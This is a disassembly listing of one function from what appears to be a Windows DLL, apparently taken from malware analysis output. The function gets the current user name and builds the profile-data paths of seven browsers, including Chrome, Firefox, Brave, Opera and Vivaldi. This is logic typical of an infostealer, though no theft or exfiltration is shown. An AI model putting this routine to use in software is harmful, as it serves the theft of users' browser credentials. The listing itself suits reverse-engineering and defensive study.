Function at 0x180002280
Capabilities:
Get session user name

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x18002d020]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x31
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x180002b37
mov rax, qword [0x18002efc0]
mov qword [rsp + 0xe8], rbp
lea rbp, [0x18002efa8]
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xc0], r15
xor r15d, r15d
mov qword [rsp + 0xe0], rbx
cmp rax, 0xd
jb 0x180002324
cmp rax, 8
mov qword [0x18002efb8], 0xd
mov rbx, rbp
lea r8d, [r15 + 0x1a]
cmovae rbx, qword [0x18002efa8]
lea rdx, str.__C:Users_
mov rcx, rbx
call fcn.18000b1a0
mov word [rbx + 0x1a], r15w
jmp 0x180002338
lea r9, str.__C:Users_
mov edx, 0xd
mov rcx, rbp
call fcn.180004b20
mov rsi, 0xffffffffffffffff
lea rax, [rsp + 0x40]
mov rdx, rsi
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], r15w
jne 0x180002350
mov r8, qword [0x18002efc0]
mov rcx, qword [0x18002efb8]
mov rax, r8
sub rax, rcx
mov qword [rsp + 0xd0], rdi
cmp rdx, rax
ja 0x1800023ae
lea rdi, [rcx + rdx]
cmp r8, 8
lea r8, [rdx + rdx]
mov qword [0x18002efb8], rdi
mov rbx, rbp
lea rdx, [rsp + 0x40]
cmovae rbx, qword [0x18002efa8]
lea rcx, [rbx + rcx*2]
call fcn.18000b1a0
mov word [rbx + rdi*2], r15w
jmp 0x1800023c0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdx
mov rcx, rbp
call fcn.180004950
mov r8, qword [0x18002efc0]
mov rdx, qword [0x18002efb8]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x180002406
cmp r8, 8
lea rcx, [rdx + 1]
mov qword [0x18002efb8], rcx
mov rax, rbp
cmovae rax, qword [0x18002efa8]
mov r8d, 0x5c
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], r15w
jmp 0x180002423
lea r9, [0x180028adc]
mov qword [rsp + 0x20], 1
mov edx, 1
mov rcx, rbp
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002440
mov rax, qword [0x18002da28]
mov qword [rsp + 0xc8], r14
lea r14, [0x18002da10]
cmp rdx, rax
ja 0x180002494
lea rbx, [rdx + rdx]
mov qword [0x18002da20], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002da10]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x18000249c
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002da28]
mov rcx, qword [0x18002da20]
mov rax, rdx
sub rax, rcx
cmp rax, 0x26
jb 0x1800024ea
cmp rdx, 8
lea rbx, [rcx + 0x26]
mov r8d, 0x4c
mov qword [0x18002da20], rbx
cmovae r14, qword [0x18002da10]
lea rdx, [0x180028ae0]
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x180002507
lea r9, [0x180028ae0]
mov qword [rsp + 0x20], 0x26
mov edx, 0x26
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002520
mov rax, qword [0x18002da48]
lea r14, [0x18002da30]
cmp rdx, rax
ja 0x18000256c
lea rbx, [rdx + rdx]
mov qword [0x18002da40], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002da30]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x180002574
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002da48]
mov rcx, qword [0x18002da40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x33
jb 0x1800025c2
cmp rdx, 8
lea rbx, [rcx + 0x33]
mov r8d, 0x66
mov qword [0x18002da40], rbx
cmovae r14, qword [0x18002da30]
lea rdx, str.AppDataLocalBraveSoftwareBrave_BrowserUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x1800025df
lea r9, str.AppDataLocalBraveSoftwareBrave_BrowserUser_Data
mov qword [rsp + 0x20], 0x33
mov edx, 0x33
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x1800025f5
mov rax, qword [0x18002da68]
lea r14, [0x18002da50]
cmp rdx, rax
ja 0x180002641
lea rbx, [rdx + rdx]
mov qword [0x18002da60], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002da50]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x180002649
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002da68]
mov rcx, qword [0x18002da60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x25
jb 0x180002697
cmp rdx, 8
lea rbx, [rcx + 0x25]
mov r8d, 0x4a
mov qword [0x18002da60], rbx
cmovae r14, qword [0x18002da50]
lea rdx, str.AppDataLocalGoogleChromeUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x1800026b4
lea r9, str.AppDataLocalGoogleChromeUser_Data
mov qword [rsp + 0x20], 0x25
mov edx, 0x25
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
nop word [rax + rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x1800026d0
mov rax, qword [0x18002da88]
lea r14, [0x18002da70]
cmp rdx, rax
ja 0x18000271c
lea rbx, [rdx + rdx]
mov qword [0x18002da80], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002da70]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x180002724
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002da88]
mov rcx, qword [0x18002da80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x28
jb 0x180002772
cmp rdx, 8
lea rbx, [rcx + 0x28]
mov r8d, 0x50
mov qword [0x18002da80], rbx
cmovae r14, qword [0x18002da70]
lea rdx, str.AppDataRoamingMozillaFirefoxProfiles
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x18000278f
lea r9, str.AppDataRoamingMozillaFirefoxProfiles
mov qword [rsp + 0x20], 0x28
mov edx, 0x28
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x1800027a5
mov rax, qword [0x18002daa8]
lea r14, [0x18002da90]
cmp rdx, rax
ja 0x1800027f1
lea rbx, [rdx + rdx]
mov qword [0x18002daa0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002da90]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x1800027f9
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002daa8]
mov rcx, qword [0x18002daa0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2c
jb 0x180002847
cmp rdx, 8
lea rbx, [rcx + 0x2c]
mov r8d, 0x58
mov qword [0x18002daa0], rbx
cmovae r14, qword [0x18002da90]
lea rdx, str.AppDataLocalYandexYandexBrowserUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x180002864
lea r9, str.AppDataLocalYandexYandexBrowserUser_Data
mov qword [rsp + 0x20], 0x2c
mov edx, 0x2c
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
nop word [rax + rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002880
mov rax, qword [0x18002dac8]
lea r14, [0x18002dab0]
cmp rdx, rax
ja 0x1800028cc
lea rbx, [rdx + rdx]
mov qword [0x18002dac0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002dab0]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x1800028d4
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002dac8]
mov rcx, qword [0x18002dac0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2b
jb 0x180002922
cmp rdx, 8
lea rbx, [rcx + 0x2b]
mov r8d, 0x56
mov qword [0x18002dac0], rbx
cmovae r14, qword [0x18002dab0]
lea rdx, str.AppDataRoamingOpera_SoftwareOpera_Stable
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x18000293f
lea r9, str.AppDataRoamingOpera_SoftwareOpera_Stable
mov qword [rsp + 0x20], 0x2b
mov edx, 0x2b
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x18002efa8]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002955
mov rax, qword [0x18002dae8]
lea r14, [0x18002dad0]
cmp rdx, rax
ja 0x1800029a1
lea rbx, [rdx + rdx]
mov qword [0x18002dae0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002dad0]
mov rcx, rdi
call fcn.18000b1a0
mov word [rbx + rdi], r15w
jmp 0x1800029a9
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002dae8]
mov rcx, qword [0x18002dae0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x21
jb 0x1800029f7
cmp rdx, 8
lea rbx, [rcx + 0x21]
mov r8d, 0x42
mov qword [0x18002dae0], rbx
cmovae r14, qword [0x18002dad0]
lea rdx, str.AppDataRoamingWaterfoxProfiles
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x180002a14
lea r9, str.AppDataRoamingWaterfoxProfiles
mov qword [rsp + 0x20], 0x21
mov edx, 0x21
mov rcx, r14
call fcn.180004950
cmp qword [0x18002efc0], 8
cmovae rbp, qword [0x18002efa8]
inc rsi
cmp word [rbp + rsi*2], r15w
jne 0x180002a24
mov rax, qword [0x18002db08]
lea r14, [0x18002daf0]
cmp rsi, rax
ja 0x180002a71
cmp rax, 8
mov qword [0x18002db00], rsi
mov rdi, r14
lea rbx, [rsi + rsi]
cmovae rdi, qword [0x18002daf0]
mov r8, rbx
mov rcx, rdi
mov rdx, rbp
call fcn.18000b1a0
mov word [rdi + rbx], r15w
jmp 0x180002a7f
mov r9, rbp
mov rdx, rsi
mov rcx, r14
call fcn.180004b20
mov rdx, qword [0x18002db08]
mov rcx, qword [0x18002db00]
mov rax, rdx
mov rdi, qword [rsp + 0xd0]
sub rax, rcx
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xe8]
cmp rax, 0x1f
jb 0x180002ae5
cmp rdx, 8
lea rbx, [rcx + 0x1f]
mov r8d, 0x3e
mov qword [0x18002db00], rbx
cmovae r14, qword [0x18002daf0]
lea rdx, str.AppDataLocalVivaldiUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000b1a0
mov word [r14 + rbx*2], r15w
jmp 0x180002b02
lea r9, str.AppDataLocalVivaldiUser_Data
mov qword [rsp + 0x20], 0x1f
mov edx, 0x1f
mov rcx, r14
call fcn.180004950
mov r15, qword [rsp + 0xc0]
mov eax, 1
mov r14, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180009000
add rsp, 0xd8
ret
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180009000
add rsp, 0xd8
ret